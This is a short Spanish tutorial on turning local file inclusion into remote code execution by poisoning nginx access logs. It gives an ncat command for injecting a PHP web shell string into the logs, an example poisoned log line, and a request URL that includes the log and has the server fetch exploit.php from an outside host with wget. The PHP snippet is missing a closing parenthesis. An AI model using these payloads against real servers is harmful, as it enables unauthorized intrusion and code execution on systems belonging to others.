El allow_url_include
está desactivado para la mayoría de los hosts que encontrará. Cuando no puede usar RFI (inclusión remota de archivos), siempre puede probar LFI (inclusión de archivos locales). El punto es que necesita obtener algo de código almacenado en el servidor para ejecutar.
Si tiene acceso a los registros, podría intentar inyectar PHP en los registros. Una forma sencilla es conectarse a través de ncat para inyectar cadenas en los registros.
Para HTTPS:
ncat -nvv --ssl hostname 443
Luego espera la entrada. Como ejemplo, podría ingresar lo siguiente:
<?php echo shell_exec($_REQUEST['cmd'] ?>
En los registros verá la solicitud incorrecta que envía al servidor web.
==> /var/log/nginx/access.log <==
xx.xx.xx.xx - - [28/Apr/2017:09:21:31 +0200] "<?php echo shell_exec($_REQUEST['cmd'] ?>" 400 173 "-" "-"
Si ahora incluye este archivo de registro en el que intentó incluir la URL, es posible que pueda descargar su URL usando wget con algo parecido a la siguiente solicitud:
http://192.168.8.133/test.php?page=/var/log/nginx/access.log&cmd=wget%20http://url-to-download/exploit.php
Esto solo funcionará si el host no ha deshabilitado el comando shell_exec()
, pero esto es menos común que allow_url_include=0